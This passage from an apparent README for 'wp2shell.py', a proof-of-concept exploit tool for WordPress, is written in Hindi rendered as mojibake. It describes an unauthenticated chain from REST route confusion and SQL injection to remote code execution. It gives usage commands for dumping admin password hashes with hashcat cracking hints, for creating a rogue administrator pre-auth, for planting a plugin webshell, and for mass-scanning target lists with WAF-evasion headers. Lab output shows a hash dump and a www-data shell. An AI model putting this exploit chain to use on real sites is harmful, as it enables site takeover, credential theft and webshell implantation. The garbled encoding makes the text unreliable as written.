### 2.4 рдЗрдВрдЬреЗрдХреНрд╢рди рд╕реЗ рд╢реЗрд▓ рддрдХ (RCE) - рдХреНрд░реИрдХ-рдореБрдХреНрдд
рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ RCE рдХреЛ **рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдХреЛрдИ рдХреНрд░реИрдХрд┐рдВрдЧ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ `shell` рдкреВрд░реА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЪрд▓рд╛рддрд╛ рд╣реИ, рд╕рднреА рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рд╕рддреНрдпрд╛рдкрд┐рдд:
1. **рдирдХрд▓реА`WP_Post` рдЖрджрд┐рдоред** рдПрдХ рджреВрд╕рд░рд╛ рдХрдиреНрдлреНрдпреВрдЬрди рд╡реЗрд░рд┐рдПрдВрдЯ рдПрдХ рд╕реНрд╡рдЪреНрдЫ, `UNION`-рд╕рдХреНрд╖рдо рдХреНрд╡реЗрд░реА рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ: `/wp/v2/posts/999999?orderby=none&per_page=500` рдХреЛ рдПрдХрд▓-рдкреЛрд╕реНрдЯ рдЖрдЗрдЯрдо рд╕реНрдХреАрдорд╛ рдХреЗ рд╡рд┐рд░реБрджреНрдз рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЗрд╕рд▓рд┐рдП рд╕рдВрдЧреНрд░рд╣-рдХреЗрд╡рд▓ рдкреИрд░рд╛рдо рдмрд┐рдирд╛ рдЪреЗрдХ рдХреЗ рдЧреБрдЬрд╝рд░рддреЗ рд╣реИрдВ), рдлрд┐рд░ рдкреЛрд╕реНрдЯ рд╕рдВрдЧреНрд░рд╣ рд╣реИрдВрдбрд▓рд░ рдкрд░ рдбреАрд╕рд┐рдВрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред `orderby=none` рдЕрдиреБрдЧрд╛рдореА `ORDER BY` рдХреЛ рд╣рдЯрд╛рддрд╛ рд╣реИ рдФрд░ `per_page=500` `WP_Query` рдХреЛ рдкреВрд░реНрдг-рдкрдВрдХреНрддрд┐ рдореЛрдб рдореЗрдВ рд░рдЦрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ `UNION SELECT` рдПрдХ рдирд┐рд░реНрдорд┐рдд `wp_posts` рдкрдВрдХреНрддрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдЬреАрд╡рд┐рдд рд░рд╣рддрд╛ рд╣реИред
2. **SQLi-рдЯреВ-рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝рд░ рдмреНрд░рд┐рдЬред** `oembed_cache` \+ `customize_changeset` (рдЗрд╕рдХрд╛ `user_id` UNION рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрдврд╝реЗ рдЧрдП рдореМрдЬреВрджрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рдЖрдИрдбреА рдкрд░ рд╕реЗрдЯ) + `nav_menu_item` рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдмрдирд╛рдПрдБред oEmbed рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рд╕реЗ рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝рд░ рдЪреЗрдВрдЬрд╕реЗрдЯ рдЪрд▓рддрд╛ рд╣реИред
**рдкреБрд░рд╛рдирд╛ рд╡рд┐рдХрд▓реНрдк (`--user`/`--password`)ред** `read --preset users` `wp_users.user_pass` (WordPress 6.9 рдХрд╛ `$wp$2y$тАж` = HMAC-SHA384 рдкрд░ bcrypt; **`hashcat -m 35500`** рдХреЗ рд╕рд╛рде рдХреНрд░реИрдХ рдХрд░реЗрдВ) рдХреЛ рдбрдВрдк рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ `shell --user/--password` рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡рд┐рдХ, рд▓реЗрдХрд┐рди bcrypt рдЗрд╕реЗ рдзреАрдорд╛ рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдКрдкрд░ рджреА рдЧрдИ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ-рдирд┐рд░реНрдорд╛рдг рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╡рд┐рд╣рд┐рдд рдкрде рд╣реИред
### 2.5 6.8.x тАЬрдХреЗрд╡рд▓ SQLiтАЭ рдкрде
6.8.x рдореЗрдВ рдмрдЧ A рд╣реИ рд▓реЗрдХрд┐рди рдмрдЧ B рдирд╣реАрдВ, рдФрд░ рдХреЛрд░ `author_exclude` рдХреЛ рдПрдХ рдкреВрд░реНрдгрд╛рдВрдХ рд╕рд░рдгреА рдореЗрдВ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП SQLi рдХреЗрд╡рд▓ рдПрдХ **facilitating** рдкреНрд▓рдЧрд┐рди/рдереАрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ рдЬреЛ `WP_Query` рдХреЛ рдПрдХ рдХрдЪреНрдЪреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рджреЗрддрд╛ рд╣реИред `sqli` рдЙрдкрдХрдорд╛рдВрдб рд╕реАрдзреЗ рдРрд╕реЗ sink рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдордп-рдЖрдзрд╛рд░рд┐рдд; `--true-contains` рдХреЗ рд╕рд╛рде рддреЗрдЬрд╝ рдмреВрд▓рд┐рдпрди)ред 6.8.3 рдкрд░ `lab/sqli-only` facilitator рдХреЗ рд╡рд┐рд░реБрджреНрдз рдкреНрд░рджрд░реНрд╢рд┐рддред
* * *
## 3\. рдЙрдкрдпреЛрдЧ
### 3.1 рдПрдХреАрдХреГрдд PoC - `wp2shell.py`
рдПрдХрд▓ рдлрд╝рд╛рдЗрд▓, Python 3.7+, **рдХреЗрд╡рд▓ рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп** ред рдкреНрд░рддреНрдпреЗрдХ рдХрдорд╛рдВрдб рдкрд░ рдЙрддреНрдкрд╛рджрди-рд╕реНрддрд░реАрдп рдкрд░рд┐рд╡рд╣рди: `--insecure` (рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд TLS), `-H 'K: V'` (рджреЛрд╣рд░рд╛рдиреЗ рдпреЛрдЧреНрдп), `--user-agent`, `--proxy`, `--retries`, `--delay`ред
root@kitploit:~
check рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ + рдХрдиреНрдлреНрдпреВрдЬрди рдорд╛рд░реНрдХрд░ + SQLi рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ (рдЧреИрд░-рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА)
read рдмреНрд▓рд╛рдЗрдВрдб SQLi рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DB рдкрдврд╝реЗрдВ (--preset fingerprint|users | --query "SELECT тАж")
shell RCE: рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд▓реЙрдЧрд┐рди тЖТ рдЯреЛрдХрди-рдЧреЗрдЯреЗрдб рдкреНрд▓рдЧрд┐рди рд╡реЗрдмрд╢реЗрд▓ тЖТ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ (REPL рдХреЗ рд▓рд┐рдП -i)
sqli рдкреНрд░рддреНрдпрдХреНрд╖/facilitated sink (6.8.x, рдпрд╛ рдХрд┐рд╕реА рднреА рдкреНрд▓рдЧрд┐рди sink) рдХреЗ рд╡рд┐рд░реБрджреНрдз author__not_in SQLi
scan рдПрдХрд▓ URL рдпрд╛ .txt рд╕реВрдЪреА рдкрд░ рдереНрд░реЗрдбреЗрдб рднреЗрджреНрдпрддрд╛ рдЬрд╛рдБрдЪ (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # рд▓реЙрдЧрд┐рди + $wp$2y$ рд╣реИрд╢ (+ hashcat рд╕рдВрдХреЗрдд)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # рдХреНрд░реИрдХ-рдореБрдХреНрдд: рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рддрд╛ рд╣реИ, рдлрд┐рд░ рд╡реЗрдмрд╢реЗрд▓
./wp2shell.py shell https://target -i # рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╢реЗрд▓
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # рдпрд╛ рдХрд┐рд╕реА рдореМрдЬреВрджрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
./wp2shell.py scan https://target --prove # рдПрдХрд▓ URL, рдкреНрд░рдорд╛рдг рдХреЗ рд░реВрдк рдореЗрдВ @@version рдирд┐рдХрд╛рд▓реЗрдВ
./wp2shell.py scan targets.txt --threads 10 --json out.json # рд▓рдХреНрд╖реНрдпреЛрдВ рдХреА .txt рдлрд╝рд╛рдЗрд▓
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# рдЙрддреНрдкрд╛рджрди рдиреЙрдм: рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд TLS, WAF рд╣реЗрдбрд░, Burp, рджрд░-рд╕реАрдорд╛
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
### 3.2 рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛
root@kitploit:~
# рдбрд┐рдлрд╝реЙрд▓реНрдЯ рднреЗрджреНрдп рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # "LAB READY" рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # рдкреВрд░реНрдг рд╕рдВрд╕реНрдХрд░рдг ├Ч DB рдореИрдЯреНрд░рд┐рдХреНрд╕
# "рдХреЗрд╡рд▓ SQLi" рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ (6.8.3 + facilitating mu-рдкреНрд▓рдЧрд┐рди), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ `admin` / `Admin!2345` рд╣реИ - рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдЬреНрдЮрд╛рдд рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдкреЛрд╕реНрдЯ-рдСрде `shell` рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░ рд╕рдХреЗ; рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рдорд▓рд╛рд╡рд░ _рд╣реИрд╢_ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдХреНрд░реИрдХ рдХрд░рддрд╛ рд╣реИред
* * *
## 4\. рд╕рдВрд╕реНрдХрд░рдг & DB рдореИрдЯреНрд░рд┐рдХреНрд╕ - рд╣рдордиреЗ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреНрдпрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛
DB рдХрд╛ рджрд╛рдпрд░рд╛ **MySQL рдФрд░ MariaDB** рддрдХ рд╕реАрдорд┐рдд рд╣реИ - WordPress рдХреЛрд░ рдЙрддреНрдкрд╛рджрди рдореЗрдВ рдХреЛрдИ рдЕрдиреНрдп рдЗрдВрдЬрди рдирд╣реАрдВ рдмреЛрд▓рддрд╛ (рдХреЛрдИ PostgreSQL/MSSQL рдбреНрд░рд╛рдЗрд╡рд░ рдирд╣реАрдВ; SQLite рдХреЗрд╡рд▓ рдПрдХ рджреБрд░реНрд▓рдн рдкреНрд▓рдЧрд┐рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ)ред
**рдкреНрд░рддреНрдпреЗрдХ рдХрдорд╛рдВрдб рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛:** `check` (рдорд╛рд░реНрдХрд░ `block_cannot_read` \+ рдмреВрд▓рд┐рдпрди + рд╕рдордп), `read` (рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ / users / `--query`), `shell` (рдХреНрд░реИрдХ-рдореБрдХреНрдд рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ-рдирд┐рд░реНрдорд╛рдг тЖТ рд▓реЙрдЧрд┐рди тЖТ рд╡реЗрдмрд╢реЗрд▓ тЖТ `uid=33(www-data)`, рд╕рд╛рде рд╣реА `--user/--password` рдФрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ REPL), `sqli` (рдмреВрд▓рд┐рдпрди + рд╕рдордп), `scan` (рдПрдХрд▓ URL + `.txt` \+ `--json` \+ `--prove`), `--variant categories` рдкреЗрд▓реЛрдб, рдПрдВрдбрдкреЙрдЗрдВрдЯ рдСрдЯреЛ-рдбрд┐рдЯреЗрдХреНрдЯ (`/wp-json/` \+ `?rest_route=`), рдФрд░ рдкрд░рд┐рд╡рд╣рди рдлрд╝реНрд▓реИрдЧред
root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] batch endpoint рд╕реБрд▓рдн рдФрд░ рдЕрдкреНрд░рдорд╛рдгрд┐рдд (HTTP 207) http://localhost:8080/wp-json/batch/v1 рдкрд░
[+] рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрди ACTIVE - рд╢реНрд░реЗрдгреА рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░ рдмреНрд▓реЙрдХ-рд░реЗрдВрдбрд░рд░ рд╣реИрдВрдбрд▓рд░ (block_cannot_read) рджреНрд╡рд╛рд░рд╛ рджрд┐рдпрд╛ рдЧрдпрд╛; CVE-2026-63030 рдХреА рдкреБрд╖реНрдЯрд┐ред
[+] SQL рдЗрдВрдЬреЗрдХреНрд╢рди CONFIRMED - author__not_in рдкрд░ рдмреВрд▓рд┐рдпрди-рдмреНрд▓рд╛рдЗрдВрдб рдЕрдВрддрд░ (CVE-2026-60137)ред
[+] рд╕рдордп-рдЖрдзрд╛рд░рд┐рдд рдЪреИрдирд▓ рдХреА рднреА рдкреБрд╖реНрдЯрд┐ - рдЖрдзрд╛рд░ 0.02s рдмрдирд╛рдо рдЗрдВрдЬреЗрдХреНрдЯреЗрдб 3.04sред
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] $wp$2y$ рд╣реИрд╢ рдХреЛ рдХреНрд░реИрдХ рдХрд░реЗрдВ: hashcat -m 35500 тАж
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] рдХреЛрдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд┐рдП рдЧрдП - рдкреНрд░реА-рдСрде рдПрдХ рдирдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рдирд╛ (рдХреЛрдИ рд╣реИрд╢ рдирд╣реАрдВ, рдХреЛрдИ рдХреНрд░реИрдХ рдирд╣реАрдВ) ...
[+] рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рдпрд╛ рдЧрдпрд╛: wp2_950eeb3deda8 / Wp2!... (рдЙрдзрд╛рд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЖрдИрдбреА 1)
[+] рдкреНрд░рдорд╛рдгрд┐рддред
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* * *
## 5\. рдХреНрд░реЗрдбрд┐рдЯ
* **рднреЗрджреНрдпрддрд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рдкреНрд░рдХрдЯреАрдХрд░рдг:** **Adam Kues - Assetnote / Searchlight Cyber** (тАЬwp2shellтАЭ), 2026-07-17.
* **рд╕рд▓рд╛рд╣:** GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjfред рд▓реЗрдЦ: Rapid7, Beazley Labs, Hadrian ( `block_cannot_read` рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рд╡рд┐рдЪрд╛рд░), VulnCheckред
* **рддрдХрдиреАрдХ рд╢реНрд░реЗрдп** (рдкреНрд░рддреНрдпреЗрдХ рдХреЛ `wp2shell.py` рдореЗрдВ рд╕реНрдХреНрд░реИрдЪ рд╕реЗ рдкреБрди: рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛, рдХреЛрдИ рдХреЛрдб рд╢рд╛рдмреНрджрд┐рдХ рд░реВрдк рд╕реЗ рдХреЙрдкреА рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛):
* attackercan/wp2shell-poc2 \- рдиреЗрд╕реНрдЯреЗрдб рдбрдмрд▓-рдХрдиреНрдлреНрдпреВрдЬрди рдХреЛрд░, рдмреНрд▓рд╛рдЗрдВрдб рдПрдХреНрд╕рдЯреНрд░реИрдХреНрдЯрд░, рдЯреЛрдХрди-рдЧреЗрдЯреЗрдб рд╡реЗрдмрд╢реЗрд▓ + REPL рд╕рддреНрдпрд╛рдкрд┐рддред
* sergiointel/wp2shell-poc \- **рдХреНрд░реИрдХ-рдореБрдХреНрдд рдкреНрд░реА-рдСрде рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ-рдирд┐рд░реНрдорд╛рдг рддрдХрдиреАрдХ** : рдПрдХрд▓-рдкреЛрд╕реНрдЯ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдХрд▓реА `WP_Post` рдмрдирд╛рдПрдВ, рдПрдХ `oembed_cache` \+ `customize_changeset` (`user_id`=рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ) + `nav_menu_item` рдЧреНрд░рд╛рдл рдЪрд▓рд╛рдПрдВ рддрд╛рдХрд┐ рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝рд░ рдореМрдЬреВрджрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓реЗ, рдлрд┐рд░ рдПрдХ рдирдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП ред
* * *
## рдХрд╛рдиреВрдиреА / рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧ
рдХреЗрд╡рд▓ **рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдкрд░реАрдХреНрд╖рдг рдФрд░ рд╢рд┐рдХреНрд╖рд╛** рдХреЗ рд▓рд┐рдП - рдРрд╕реА рдкреНрд░рдгрд╛рд▓рд┐рдпрд╛рдБ рдЬрд┐рдирдХреЗ рдЖрдк рд╕реНрд╡рд╛рдореА рд╣реИрдВ рдпрд╛ рдЬрд┐рдирдХрд╛ рдЖрдк рд▓рд┐рдЦрд┐рдд рд░реВрдк рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рд╕рднреА рд╢реЛрд╖рдг рдПрдХ рд╕реНрдерд╛рдиреАрдп, рдбрд┐рд╕реНрдкреЛрдЬреЗрдмрд▓ Docker рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛; рд╡реЗрдмрд╢реЗрд▓ рдЯреЛрдХрди-рдЧреЗрдЯреЗрдб рд╣реИ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХрдорд╛рдВрдб рд╣рд╛рдирд┐рд░рд╣рд┐рдд рд╣реИред рдЖрдк рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдпрдВ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВред